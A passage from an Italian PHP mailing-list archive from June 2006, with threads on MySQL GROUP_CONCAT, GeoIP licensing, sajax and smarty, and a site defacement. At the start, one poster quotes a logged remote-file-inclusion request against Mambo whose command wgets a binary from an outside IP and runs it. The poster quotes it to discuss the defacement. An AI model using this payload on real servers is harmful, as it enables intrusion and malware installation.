/cvs/mambo/index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://72.18.195.161/cmd.gif?&cmd=cd%20/tmp;wget%2072.18.195.161/lnikon;chmod%20744%20lnikon;./lnikon;echo%20YYY;echo| HTTP/1.1" 404 336 Notare come una gif possa fare danni :) Di solito questi tool non verificano nemmeno il sistema operativo, a volte nemmeno il server http (inutile lanciare exploit per IIS su apache!) E' molto curioso che qualcuno si sia preso la briga di fare un deface "su misura" con degli include personalizzati. C'? da dire che in periodo di mondiali, gli hacker ci tengono molto a far sapere per che squadra tifano :) Saluti -- Marcello Vezzelli Software Development Department E-Works s.r.l. tel. +39 059 2929081 fax +39 059 2925035 Direzionale 70 - Via Giardini 456/c 41100 Modena - Italy From cverondini at deis.unibo.it Mon Jun 12 11:50:49 2006 From: cverondini at deis.unibo.it (Cristiano Verondini) Date: Mon Jun 12 11:57:44 2006 Subject: [Php-it] (forse OT)Vecchie glorie References: <448C963D.80509@interfree.it> Message-ID: <06ce01c68e06$195f9400$6301a8c0@IdeaFutura.local> > Come posso censire un singolo artista una volta sola e > contemporaneamente dire > che ha partecipato ai film X, Y e Z usando queste due tabelle? Hai bisogno di un join M:N, che pu? essere fatto utilizzando *tre* tabelle. Le prime due hanno rispettivamente film ed attori, mentre la terza serve a dire quale attore ha partecipato a quale film, e contiene unicamente le chiavi delle due tabelle (che cos? risultano importate, o FK). Ti suggerisco di cercare qualche testo sulla normalizzazione della struttura dei DB, dove queste problematiche vengono affrontate e risolte. Cris -- Cristiano Verondini http://noway.ing.unibo.it --- [ICQ: 114 190] From m_invernizzi at tiscali.it Mon Jun 12 12:43:06 2006 From: m_invernizzi at tiscali.it (marco invernizzi) Date: Mon Jun 12 12:45:55 2006 Subject: [Php-it] attacco hacker In-Reply-To: <06b101c68e03$32bef7e0$6301a8c0@IdeaFutura.local> References: <448D23BB.3050105@tiscali.it><00c501c68dfa$00fc8f50$7500a8c0@Matteo> <448D2D44.2020509@tiscali.it> <06b101c68e03$32bef7e0$6301a8c0@IdeaFutura.local> Message-ID: <448D453A.8080903@tiscali.it> Cristiano Verondini ha scritto: > S?, credo di aver capito... ho lasciato una include un po' > "allegra"... > > Come era fatta? ** -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.ziobudda.net/pipermail/php-it/attachments/20060612/2371f3a6/attachment.html From gianluca at ihuri.it Mon Jun 12 15:15:46 2006 From: gianluca at ihuri.it (=?ISO-8859-15?Q?Gianluca_Ba=F9?=) Date: Mon Jun 12 15:18:52 2006 Subject: [Php-it] [OT grosso] Consiglio su adsl Message-ID: <448D6902.8050507@ihuri.it> Salve ragazzi, scusate davvero il super ot. Dovrei a giorni passare a tele2 per l'adsl (640) e la voce. Com'? la adsl di questa societ?? Avete esperienze? Non vorrei davvero fare una cavolata. Alice va benissimo (ho quella a 640) e non vorrei davvero trovarmi a combattere una battaglia per far funzionare bene quella nuova. Anche perch? poi sono legato 12 mesi con loro. Scusate ancora ma avrei davvero bisogno di pareri Saluti e grazie Gianluca From gmpml at empire-web.it Mon Jun 12 15:35:08 2006 From: gmpml at empire-web.it (marco) Date: Mon Jun 12 15:39:23 2006 Subject: [Php-it] ricerca centrale telecom Message-ID: <008a01c68e25$36d523f0$41a4de54@gmp600> ciao, su www.scoutnoventa.it/upgrade/centrale.asp vi ? uno script credo asp per l'accesso al db telecom, vi ? capitato qualche pezzo utile di codice php o asp che faccia lo stesso? grazie buona giornata -- marco gggmmmppp@interfree.it From ml at tassoman.com Mon Jun 12 16:08:31 2006 From: ml at tassoman.com (Tassoman (mailing)) Date: Mon Jun 12 16:11:29 2006 Subject: [Php-it] [OT grosso] Consiglio su adsl In-Reply-To: <448D6902.8050507@ihuri.it> References: <448D6902.8050507@ihuri.it> Message-ID: <1150121311.8482.1.camel@localhost.localdomain> Il giorno lun, 12/06/2006 alle 15.15 +0200, Gianluca Ba? ha scritto: > Scusate ancora ma avrei davvero bisogno di pareri > > Saluti e grazie it.tlc.telefonia.adsl http://groups.google.it/group/it.tlc.telefonia.adsl?lnk=gschg&hl=it Ciao! From ml at tassoman.com Mon Jun 12 16:13:59 2006 From: ml at tassoman.com (Tassoman (mailing)) Date: Mon Jun 12 16:16:57 2006 Subject: [Php-it] attacco hacker In-Reply-To: <448D23BB.3050105@tiscali.it> References: <448D23BB.3050105@tiscali.it> Message-ID: <1150121639.8482.5.camel@localhost.localdomain> Il giorno lun, 12/06/2006 alle 10.20 +0200, marco invernizzi ha scritto: > Secondo voi ci possono essere vulnerabilit? in pezzetti di script cos? > semplici? VOrrei farti notare che non si tratta di un attacco hacker, ma di un defacement da script-kiddie. Gli hacker usano mod_security per i propri web server. ;) (tipo me, lOOl, chi lo dice lo ?, gn? gn? gn?) Ok torno a scriptare. -_-' From m.vezzelli at e-works.it Mon Jun 12 16:19:05 2006 From: m.vezzelli at e-works.it (Marcello Vezzelli) Date: Mon Jun 12 16:22:03 2006 Subject: [Php-it] sicurezza e query string Message-ID: <448D77D9.3090504@e-works.it> Ciao a tutti, mi trovo a dover fare delle verifiche di sicurezza su uno script multifunzione che accetta parametri in query string. Il formato ? una roba del genere... https://ip/master.php?user=utente&pass=password&command=comando&par1=uno&par2=due ... Sto valutando se inibire l'accesso GET e lasciare solo la POST, ma il succo non cambia. Che problemi mi posso aspettare sui parametri in ingresso? Cosa consigliate per ridurre al minimo la possibilit? di guai, relativamente alla decodifica e al parsing dei parametri? C'? una buona lettura a tal proposito che mi consigliate? RTFM fa sempre bene. Saluti -- Marcello Vezzelli Software Development Department E-Works s.r.l. tel. +39 059 2929081 fax +39 059 2925035 Direzionale 70 - Via Giardini 456/c 41100 Modena - Italy From eugenio.tacchini at unicatt.it Mon Jun 12 16:34:29 2006 From: eugenio.tacchini at unicatt.it (Eugenio Tacchini) Date: Mon Jun 12 16:37:22 2006 Subject: [Php-it] Group by particolare con MySQL Message-ID: <5.2.0.9.0.20060612161815.02e10d70@webmail.unicatt.it> Ciao a tutti, supponete di avere tre tabelle: 1) albums (contiene i dati relativi ad un archivio di album musicali) 2) artists (contiene i dati relativi agli artisti esecutori degli album) 3) albums_artists (album e artisti sono in relazione molti a molti, questa tabella contiene, per ogni record, l'ID di un album e l'ID di un artista) Ipotizzando di avere due soli album a catalogo; il primo eseguito da un solo artista ed il secondo da due, vorrei riuscire, *con una sola query*, a ottenere un risultato tipo questo: Titolo Artista Anno The dark side of the moon pink floyd 1973 Notte Di Mezza Estate Alex Britti, Edoardo Bennato 2006 e non: Titolo Artista Anno The dark side of the moon pink floyd 1973 Notte Di Mezza Estate Alex Britti 2006 Notte Di Mezza Estate Edoardo Bennato 2006 risultato che otterrei eseguendo un semplice inner join. In pratica dovrei utilizzare un group by sull'id dell'album e dovrei avere a disposizione una funzione che mi prenda i vari artisti associati ad un album, li concateni (magari con un separatore a scelta) in modo che io possa trattare questo "nuovo campo" attribuendogli un alias. Esiste qualcosa di questo tipo in MySQL? Anche utilizzando una sottoquery andrebbe bene. Grazie. Ciao. Eugenio ------------------------------------------------------ DaDaBIK - DaDaBIK is a DataBase Interfaces Kreator http://www.dadabik.org/ ------------------------------------------------------ From cverondini at deis.unibo.it Mon Jun 12 16:34:28 2006 From: cverondini at deis.unibo.it (Cristiano Verondini) Date: Mon Jun 12 16:38:57 2006 Subject: [Php-it] Group by particolare con MySQL References: <5.2.0.9.0.20060612161815.02e10d70@webmail.unicatt.it> Message-ID: <00ba01c68e2d$52913b80$6301a8c0@IdeaFutura.local> > In pratica dovrei utilizzare un group by sull'id dell'album e dovrei > avere a disposizione una funzione che mi prenda i vari artisti > associati ad un album, li concateni (magari con un separatore a > scelta) in modo che io possa trattare questo "nuovo campo" > attribuendogli un alias. > Esiste qualcosa di questo tipo in MySQL? Anche utilizzando una > sottoquery andrebbe bene. Probabilmente con una sub-query puoi farcela. Per una query semplice avresti bisogno di funzioni di pivoting, che non mi risulta mysql abbia ancora. Cris -- Cristiano Verondini http://noway.ing.unibo.it --- [ICQ: 114 190] From bertaldo10 at virgilio.it Mon Jun 12 16:55:59 2006 From: bertaldo10 at virgilio.it (aldo) Date: Mon Jun 12 16:48:17 2006 Subject: [Php-it] Group by particolare con MySQL In-Reply-To: <5.2.0.9.0.20060612161815.02e10d70@webmail.unicatt.it> References: <5.2.0.9.0.20060612161815.02e10d70@webmail.unicatt.it> Message-ID: <448D807F.1010606@virgilio.it> Eugenio Tacchini ha scritto: > In pratica dovrei utilizzare un group by sull'id dell'album e dovrei > avere a disposizione una funzione che mi prenda i vari artisti associati > ad un album, li concateni (magari con un separatore a scelta) in modo > che io possa trattare questo "nuovo campo" attribuendogli un alias. GROUP_CONCAT http://dev.mysql.com/doc/refman/5.1/en/group-by-functions.html From eugenio.tacchini at unicatt.it Mon Jun 12 16:50:24 2006 From: eugenio.tacchini at unicatt.it (Eugenio Tacchini) Date: Mon Jun 12 16:53:19 2006 Subject: [Php-it] Group by particolare con MySQL In-Reply-To: <00ba01c68e2d$52913b80$6301a8c0@IdeaFutura.local> References: <5.2.0.9.0.20060612161815.02e10d70@webmail.unicatt.it> Message-ID: <5.2.0.9.0.20060612164704.02185eb0@webmail.unicatt.it> At 16.34 12/06/2006 +0200, you wrote: >>In pratica dovrei utilizzare un group by sull'id dell'album e dovrei >>avere a disposizione una funzione che mi prenda i vari artisti >>associati ad un album, li concateni (magari con un separatore a >>scelta) in modo che io possa trattare questo "nuovo campo" >>attribuendogli un alias. >>Esiste qualcosa di questo tipo in MySQL? Anche utilizzando una >>sottoquery andrebbe bene. > > Probabilmente con una sub-query puoi farcela. Per una query semplice > avresti bisogno di funzioni di pivoting, che non mi risulta mysql abbia ancora. Ciao, grazie per la risposta. La sottoquery (che selezionerebbe gli artisti associati all'album che si sta prendendo in considerazione in quel momento con la query principale) ritornerebbe pero' piu' di un risultato, io quindi avrei bisogno di una funzione che, applicata alla sottoquery, mi concateni i vari nomi degli artisti, funzione di cui non conosco l'esistenza in mysql :( Eugenio ------------------------------------------------------ DaDaBIK - DaDaBIK is a DataBase Interfaces Kreator http://www.dadabik.org/ ------------------------------------------------------ From cverondini at deis.unibo.it Mon Jun 12 16:51:43 2006 From: cverondini at deis.unibo.it (Cristiano Verondini) Date: Mon Jun 12 16:56:12 2006 Subject: [Php-it] Group by particolare con MySQL References: <5.2.0.9.0.20060612161815.02e10d70@webmail.unicatt.it> <5.2.0.9.0.20060612164704.02185eb0@webmail.unicatt.it> Message-ID: <00c601c68e2f$bb9b1db0$6301a8c0@IdeaFutura.local> > La sottoquery (che selezionerebbe gli artisti associati all'album che > si sta prendendo in considerazione in quel momento con la query > principale) ritornerebbe pero' piu' di un risultato, io quindi avrei > bisogno di una funzione che, applicata alla sottoquery, mi concateni > i vari nomi degli artisti, funzione di cui non conosco l'esistenza in > mysql :( La GROUP_CONCAT()dovrebbe fare al caso tuo, ma esiste solo dalla versione 4.1 di mysql. Cris -- Cristiano Verondini http://noway.ing.unibo.it --- [ICQ: 114 190] From eugenio.tacchini at unicatt.it Mon Jun 12 16:59:43 2006 From: eugenio.tacchini at unicatt.it (Eugenio Tacchini) Date: Mon Jun 12 17:02:37 2006 Subject: [Php-it] Group by particolare con MySQL In-Reply-To: <448D807F.1010606@virgilio.it> References: <5.2.0.9.0.20060612161815.02e10d70@webmail.unicatt.it> <5.2.0.9.0.20060612161815.02e10d70@webmail.unicatt.it> Message-ID: <5.2.0.9.0.20060612165837.01f0a3a0@webmail.unicatt.it> At 16.55 12/06/2006 +0200, you wrote: >>In pratica dovrei utilizzare un group by sull'id dell'album e dovrei >>avere a disposizione una funzione che mi prenda i vari artisti associati >>ad un album, li concateni (magari con un separatore a scelta) in modo che >>io possa trattare questo "nuovo campo" attribuendogli un alias. > >GROUP_CONCAT >http://dev.mysql.com/doc/refman/5.1/en/group-by-functions.html Perfetto, grazie a te e a Cristiano, e' proprio quello che cercavo! Ciao. Eugenio ------------------------------------------------------ DaDaBIK - DaDaBIK is a DataBase Interfaces Kreator http://www.dadabik.org/ ------------------------------------------------------ From piaccapi at gmail.com Mon Jun 12 20:33:01 2006 From: piaccapi at gmail.com (Gabriele Scaroni) Date: Mon Jun 12 20:36:08 2006 Subject: [Php-it] ricerca centrale telecom In-Reply-To: <008a01c68e25$36d523f0$41a4de54@gmp600> References: <008a01c68e25$36d523f0$41a4de54@gmp600> Message-ID: <19910265632.20060612203301@gmail.com> > ciao, su > www.scoutnoventa.it/upgrade/centrale.asp > vi ? uno script credo asp per l'accesso al db telecom, vi ? capitato qualche > pezzo utile di codice php o asp che faccia lo stesso? > grazie buona giornata io purtroppo non ne conosco, ma la domanda ? un'altra: funziona in qualche caso? ho provato con una decina di numeri di conoscenti, non solo della mia zona, e non funziona con nessuno... peccato, sarebbe comodo in certi casi per fare qualche paragone fra i servizi ADSL Ciao, Gabriele From gmpml at empire-web.it Mon Jun 12 20:54:08 2006 From: gmpml at empire-web.it (marco) Date: Mon Jun 12 20:57:43 2006 Subject: [Php-it] ricerca centrale telecom References: <008a01c68e25$36d523f0$41a4de54@gmp600> <19910265632.20060612203301@gmail.com> Message-ID: <009501c68e51$ae5f8ab0$41a4de54@gmp600> : "marco" >> ciao, su >> www.scoutnoventa.it/upgrade/centrale.asp >> vi ? uno script credo asp per l'accesso al db telecom, vi ? capitato >> qualche >> pezzo utile di codice php o asp che faccia lo stesso? >> grazie buona giornata From: "Gabriele Scaroni" > io purtroppo non ne conosco, ma la domanda ? un'altra: funziona in > qualche caso? > ho provato con una decina di numeri di conoscenti, non solo della mia > zona, e non funziona con nessuno... peccato, sarebbe comodo in certi > casi per fare qualche paragone fra i servizi ADSL si scusa, quel link ? andato in tilt, uno funzionante che ho usato in un portale ? http://80.19.49.141/cgi-bin/adsl_isp/adsl_isp.pl?cgi=OFF&num_tel=0824880347&url_risp=http://www.test.it/adslverifica.php http://adsl2.csi.telecomitalia.it/cgi-bin/adsl_isp/adsl_isp.pl https://intra.plugit.it/cgi-bin/wbc_slbverificacoperturaservizialargabandawhs ma non so come farsi restituire nome e indirizzo della centrale grazie, ciao From wakkas at email.it Mon Jun 12 15:51:34 2006 From: wakkas at email.it (WaKKa [wakkas.altervista.org]) Date: Mon Jun 12 21:53:00 2006 Subject: [Php-it] [OT] Programma font per CSS Message-ID: <200606121551.34810.wakkas@email.it> Ciao a tutti, ????????per caso conoscete un programma simile per Linux a WEFT 3.2 per convertire i font e poi adoperarli per i CSS cosi': ????????@font-face {font-family:NOME; src:url(http://INDIRIZZO);} ????????Grazie in anticipo Ossequi, Nicola -- Web: http://wakkas.altervista.org Blog: http://spaces.msn.com/IlMioSogno -- Email.it, the professional e-mail, gratis per te: http://www.email.it/f Sponsor: Sei a secco di dvd e cd? Corri da mystorage.it troverai qualit? e cortesia oltre che a * prezzi scontatissimi. Pagamento in contrassegno in tutta Italia Clicca qui: http://adv.email.it/cgi-bin/foclick.cgi?midS51&d-6 From r.tagliaferri at tosnet.it Tue Jun 13 12:33:01 2006 From: r.tagliaferri at tosnet.it (Roberto Tagliaferri) Date: Tue Jun 13 12:36:13 2006 Subject: [Php-it] localizzazione IP Message-ID: <448E945D.5020906@tosnet.it> Hola, mi hanno chiesto di associare una valuta alla nazione del navigatore; oltre a geoip c'? altro? Nel caso la licenza web va bene? (a me basterebbe fare un db con le 5-6 valute accettate e discriminare con il country code) -- Roberto Tagliaferri Responsabile Progettazione & Produzione TosNet s.r.l. - Internet Service Provider r.tagliaferri@tosnet.it www.tosnet.it From gianiaz at gianiaz.net Tue Jun 13 15:08:36 2006 From: gianiaz at gianiaz.net (Giovanni Battista Lenoci) Date: Tue Jun 13 14:13:00 2006 Subject: [Php-it] sajax smarty e inclusioni... Message-ID: <448EB8D4.9030101@gianiaz.net> Ciao ragazzi, ho un problemino con sajax, quando richiamo la funzione esportata non ritorna nulla. Mettendo il debug a 1, vedo che in risposta alla mia funzione anziche ricevere i risultati ottengo il codice html dell'intera pagina. Lo scenario in cui si svolge la cosa ? pi? o meno il seguente: In pratica richiamo la pagina in questo modo: index.php?cmd=page in page.inc.php uso la funzione ajax, cosi ho settato la pagina index.php in questo modo: assign('sajax', $sajax); /* SAJAX - END */ session_start(); setlocale(LC_TIME,"it_IT.ISO8859-15@euro"); .. .. .. include('page.inc.php'); smarty->display('page.tpl'); e nella pagina page.tpl .... ... Leggendo sul forum di supporto sembra che il problema sia dovuto all'accesso all'array $_SESSION prima di utilizzare le funzioni di sajax, ma come vedete ho modificato lo script in modo da richiamare dopo la sessione... Avete suggerimenti? Grazie -- Giovanni Battista Lenoci Web Developer - linux user #324134 gianiaz@gianiaz.net From syscom at alice.it Tue Jun 13 14:40:56 2006 From: syscom at alice.it (Lorenzo Iotti) Date: Tue Jun 13 14:45:06 2006 Subject: [Php-it] sajax smarty e inclusioni... References: <448EB8D4.9030101@gianiaz.net> Message-ID: <000b01c68ee6$9e3ce110$0300a8c0@lorenzone> Anche io uso smarty e sajax ma ricordo di aver modificate la funzioone sotto esposta per poter usare sajax in smarty Mettere un return al posto di un echo function sajax_show_javascript() { // MODIFICATO return sajax_get_javascript(); // ORIGINALE //echo sajax_get_javascript(); } Ciao Lorenzo From yaro at nectarine.info Tue Jun 13 14:43:20 2006 From: yaro at nectarine.info (yaro@nectarine.info) Date: Tue Jun 13 14:46:30 2006 Subject: [Php-it] attacco hacker In-Reply-To: <20060613103338.43276D201EA@mail.nectarine.info> References: <20060613103338.43276D201EA@mail.nectarine.info> Message-ID: <1150202600.448eb2e8d3ab5@mail.nectarine.it> > From: "Tassoman (mailing)" > Subject: Re: [Php-it] attacco hacker > To: php-it@lists.ziobudda.net > Message-ID: <1150121639.8482.5.camel@localhost.localdomain> > Content-Type: text/plain; charset=ISO-8859-15 > > VOrrei farti notare che non si tratta di un attacco hacker, ma di un > defacement da script-kiddie. > > Gli hacker usano mod_security per i propri web server. ;) > > (tipo me, lOOl, chi lo dice lo ?, gn? gn? gn?) > > Ok torno a scriptare. -_-' > no, no. i VERI hacker usano mod_protection sui loro web server!!! me l'ha detto uno che conosce uno che lo usa... best regards ./pier -------------------------------------------------------------------- L'utente che ti ha inviato questa email ha a disposizione: 150MB di spazio, Webmail SSL con rubrica calendario e organizer, accesso Imap, Imap-SSL, Pop3, Pop3-SSL e Smtp, 5 differenti domini email, protezione antispam e filtro mime, dimensione massima allegati 200mb. Tutto totalmente gratuito, la tua email ha queste funzionalit? ? Puoi registrarti all'indirizzo: http://www.nemail.it Questo messaggio pubblicitario viene aggiunto in maniera automatica, segnalazione abusi: support@nectarine.info -------------------------------------------------------------------- From gianiaz at gianiaz.net Tue Jun 13 15:42:29 2006 From: gianiaz at gianiaz.net (Giovanni Battista Lenoci) Date: Tue Jun 13 14:46:50 2006 Subject: [Php-it] sajax smarty e inclusioni... In-Reply-To: <000b01c68ee6$9e3ce110$0300a8c0@lorenzone> References: <448EB8D4.9030101@gianiaz.net> <000b01c68ee6$9e3ce110$0300a8c0@lorenzone> Message-ID: <448EC0C5.8030102@gianiaz.net> Lorenzo Iotti ha scritto: > ________________SPONSOR______________ > Spazio pubblicitario libero. > mail a info@ziobudda.net > > > > ________________SPONSOR______________ > Anche io uso smarty e sajax ma ricordo di aver modificate la funzioone sotto > esposta per poter usare sajax in smarty > Mettere un return al posto di un echo > > function sajax_show_javascript() > { > // MODIFICATO > return sajax_get_javascript(); > // ORIGINALE > //echo sajax_get_javascript(); > } > > Ciao > Lorenzo > si quello l'ho fatto, ma la funzione anzich? restituirmi ci? che mi aspetto mi ritorna tutto il codice xhtml della pagina anzich? i risultati della funzione... -- Giovanni Battista Lenoci Web Developer - linux user #324134 gianiaz@gianiaz.net From php at beccati.com Tue Jun 13 14:45:31 2006 From: php at beccati.com (Matteo Beccati) Date: Tue Jun 13 14:48:38 2006 Subject: [Php-it] localizzazione IP In-Reply-To: <448E945D.5020906@tosnet.it> References: <448E945D.5020906@tosnet.it> Message-ID: <448EB36B.5050100@beccati.com> Ciao, > Hola, mi hanno chiesto di associare una valuta alla nazione del > navigatore; oltre a geoip c'? altro? > Nel caso la licenza web va bene? > (a me basterebbe fare un db con le 5-6 valute accettate e discriminare > con il country code) La versione free di GeoIP (GeoLite) funziona abbastanza bene. Se vuoi un'accuratezza maggiore puoi ovviamente puntare verso GeoIP Country edition. Le versioni con database nel formato binario sono molto veloci. Pur avendo rapporti abbastanza stretti con MaxMind non posso esimermi dal parlare bene di loro: mi sembra che ci tengano alla soddisfazione dei clienti visto che ogni tanto mi inoltrano segnalazioni di bug riguardanti il geotargeting in phpAdsNew ;) Se acquisti e lo fai tramite il link del referral, ricordami che ti devo una birra ;) Ciao ciao -- Matteo Beccati http://phpadsnew.com http://phppgads.com From cverondini at deis.unibo.it Tue Jun 13 14:52:36 2006 From: cverondini at deis.unibo.it (Cristiano Verondini) Date: Tue Jun 13 14:57:17 2006 Subject: [Php-it] attacco hacker References: <20060613103338.43276D201EA@mail.nectarine.info> <1150202600.448eb2e8d3ab5@mail.nectarine.it> Message-ID: <019601c68ee8$41b62210$6301a8c0@IdeaFutura.local> > i VERI hacker usano mod_protection sui loro web server!!! > me l'ha detto uno che conosce uno che lo usa... Anche mio cugggggino lo usa! :) -- Cristiano Verondini http://noway.ing.unibo.it --- [ICQ: 114 190] From r.tagliaferri at tosnet.it Tue Jun 13 15:26:12 2006 From: r.tagliaferri at tosnet.it (Roberto Tagliaferri) Date: Tue Jun 13 15:29:25 2006 Subject: [Php-it] localizzazione IP In-Reply-To: <448EB36B.5050100@beccati.com> References: <448E945D.5020906@tosnet.it> <448EB36B.5050100@beccati.com> Message-ID: <448EBCF4.5010702@tosnet.it> Matteo Beccati ha scritto: > > La versione free di GeoIP (GeoLite) funziona abbastanza bene. Se vuoi > un'accuratezza maggiore puoi ovviamente puntare verso GeoIP Country > edition. Le versioni con database nel formato binario sono molto veloci. > > Pur avendo rapporti abbastanza stretti con MaxMind non posso esimermi > dal parlare bene di loro: mi sembra che ci tengano alla soddisfazione > dei clienti visto che ogni tanto mi inoltrano segnalazioni di bug > riguardanti il geotargeting in phpAdsNew ;) > > Se acquisti e lo fai tramite il link del referral, ricordami che ti > devo una birra ;) > > > Ciao ciao Ma a livello di licenza? A me andrebbe benissimo la web (devo discriminare giusto se sono in quei 4-5 casi, altrimenti devo dire Euro e stop) ma la licenza sembra abbastanza restrittiva. Pagare i 500oquantisono $/anno per un software da sviluppare mi sembra tantino (anche perch? sarei costretto a scaricarlo sul cliente finale) -- Roberto Tagliaferri Responsabile Progettazione & Produzione TosNet s.r.l. - Internet Service Provider r.tagliaferri@tosnet.it www.tosnet.it From stega at stefanocaccia.com Tue Jun 13 15:45:15 2006 From: stega at stefanocaccia.com (Stefano Caccia) Date: Tue Jun 13 15:48:39 2006 Subject: [Php-it] localizzazione IP In-Reply-To: <448EBCF4.5010702@tosnet.it> References: <448E945D.5020906@tosnet.it> <448EB36B.5050100@beccati.com> <448EBCF4.5010702@tosnet.it> Message-ID: <448EC16B.901@stefanocaccia.com> Roberto Tagliaferri ha scritto: > Ma a livello di licenza? A me andrebbe benissimo la web (devo > discriminare giusto se sono in quei 4-5 casi, altrimenti devo dire > Euro e stop) ma la licenza sembra abbastanza restrittiva. > Pagare i 500oquantisono $/anno per un software da sviluppare mi sembra > tantino (anche perch? sarei costretto a scaricarlo sul cliente finale) > Sul sistema di statistiche phpstats (http://www.phpstats.net/) c'? una tabella x il paese di provenienza del visitatore, xcui credo ci sia uno script che forse potrebbe fare al caso tuo. Leggendo tra le caratteristiche del sistema: * Monitoraggio Stati di appartenenza tramite l'identificazione dell'host oppure tramite l'ip-to-country database (*) installabile a parte -- Ciao Stefano Caccia From stega at stefanocaccia.com Tue Jun 13 15:46:29 2006 From: stega at stefanocaccia.com (Stefano Caccia) Date: Tue Jun 13 15:49:51 2006 Subject: [Php-it] localizzazione IP In-Reply-To: <448EC16B.901@stefanocaccia.com> References: <448E945D.5020906@tosnet.it> <448EB36B.5050100@beccati.com> <448EBCF4.5010702@tosnet.it> <448EC16B.901@stefanocaccia.com> Message-ID: <448EC1B5.3020908@stefanocaccia.com> dimenticavo: http://ip-to-country.webhosting.info/ -- Ciao Stefano Caccia From php at beccati.com Tue Jun 13 15:58:05 2006 From: php at beccati.com (Matteo Beccati) Date: Tue Jun 13 16:01:13 2006 Subject: [Php-it] localizzazione IP In-Reply-To: <448EBCF4.5010702@tosnet.it> References: <448E945D.5020906@tosnet.it> <448EB36B.5050100@beccati.com> <448EBCF4.5010702@tosnet.it> Message-ID: <448EC46D.9020408@beccati.com> Ciao, > Ma a livello di licenza? A me andrebbe benissimo la web (devo > discriminare giusto se sono in quei 4-5 casi, altrimenti devo dire Euro > e stop) ma la licenza sembra abbastanza restrittiva. > Pagare i 500oquantisono $/anno per un software da sviluppare mi sembra > tantino (anche perch? sarei costretto a scaricarlo sul cliente finale) La licenza per GeoLite Country ? qui: http://www.maxmind.com/app/geoip_country La versione GeoIP Country via webservice costa 20$ per 200.000 query e non credo ci siano problemi di licenza: http://www.maxmind.com/app/web_services La versione non-webservice costa 50$ + 12$ per ogni update mensile. Se l'uso non ? intenso il webservice ti garantisce risultati aggiornatiad un costo bassissimo. Ciao ciao -- Matteo Beccati http://phpadsnew.com http://phppgads.com From sergio at wind.it Tue Jun 13 15:58:16 2006 From: sergio at wind.it (Sergio) Date: Tue Jun 13 16:01:48 2006 Subject: [Php-it] localizzazione IP In-Reply-To: <448E945D.5020906@tosnet.it> References: <448E945D.5020906@tosnet.it> Message-ID: <448EC478.5060006@wind.it> > Hola, mi hanno chiesto di associare una valuta alla nazione del > navigatore; oltre a geoip c'? altro? Potresti interrogare il whois del Ripe (e i vari cugini AfriNIC | APNIC | ARIN | LACNIC ) ed esaminare il campo country. Ciao, Sergio From alessandro.cimoli at fastweb.it Tue Jun 13 16:28:01 2006 From: alessandro.cimoli at fastweb.it (Cimoli Alessandro) Date: Tue Jun 13 16:31:10 2006 Subject: [Php-it] [OTTISSIMO] ASP Message-ID: <290629608E01F941B7021529F4EAE1FDB444@FWMIMX12.fastwebit.ofc> Ciao, innanzitutto mi scuso per l'ot e poi mi scuso per chiedere un'informazione su a$p...scusatemi! La mia domanda ? semplice, sapete l'equivalente del var_dump in asp? Grazie mille, ale From david at tomato.it Tue Jun 13 17:24:43 2006 From: david at tomato.it (David Scatigna) Date: Tue Jun 13 17:27:42 2006 Subject: [Php-it] dump dati + css Message-ID: <448ED8BB.6010204@tomato.it> sono quasi certo che tempo fa in questa lista era saltato fuori un link a uno scriptino che tramite l'uso sapiente dei css permetteva di avere in un angolo del sito quattro pulsantini che cliccati (o all'hover) mostravano il dump di alcun variabili ( _SERVER, _POST, _GET) nessuno si ricorda il link ? -- Saluti, Tomato Interactive David Scatigna [ Tomato.it - http://www.tomato.it ] From david at tomato.it Tue Jun 13 18:04:26 2006 From: david at tomato.it (David Scatigna) Date: Tue Jun 13 18:07:22 2006 Subject: [Php-it] session handler in database Message-ID: <448EE20A.4000704@tomato.it> mi sapete consigliare una classe che permetta di salvare le sessioni in un database inceve che in su file system ? -- Saluti, Tomato Interactive David Scatigna [ Tomato.it - http://www.tomato.it ] From carlo at bluonline.it Tue Jun 13 18:47:28 2006 From: carlo at bluonline.it (Carlo Valente) Date: Tue Jun 13 18:50:38 2006 Subject: [Php-it] attacco hacker In-Reply-To: <019601c68ee8$41b62210$6301a8c0@IdeaFutura.local> References: <20060613103338.43276D201EA@mail.nectarine.info> <1150202600.448eb2e8d3ab5@mail.nectarine.it> <019601c68ee8$41b62210$6301a8c0@IdeaFutura.local> Message-ID: <448EEC20.20800@bluonline.it> ... mio cugggino invece mi ha detto che a quello che ha fatto mod_protection gli hanno bucato il server... (sul sito c'e' : Owned by ./KillDoG ) Cristiano Verondini ha scritto: >> me l'ha detto uno che conosce uno che lo usa... > i VERI hacker usano mod_protection sui loro web server!!! > > Anche mio cugggggino lo usa! :) > From luca1 at hi-net.it Tue Jun 13 23:13:09 2006 From: luca1 at hi-net.it (Luca Baldazzi) Date: Tue Jun 13 23:16:15 2006 Subject: [Php-it] Integrazione ecommerce - gestionale teamsystem In-Reply-To: <4483E714.6060409@claudiodemarinis.it> References: <4483E714.6060409@claudiodemarinis.it> Message-ID: <448F2A65.3060600@hi-net.it> webmaster@claudiodemarinis.it ha scritto: > ________________SPONSOR______________ > Spazio pubblicitario libero. > mail a info@ziobudda.net > > > > ________________SPONSOR______________ > Ciao a tutti , > mi hanno chiesto di creare un ecommerce integrandolo con un gestionale > teamsystem: non ho ancora parlato con nessuno di specifiche tecniche, > qualcuno di voi ha fatto per caso una cosa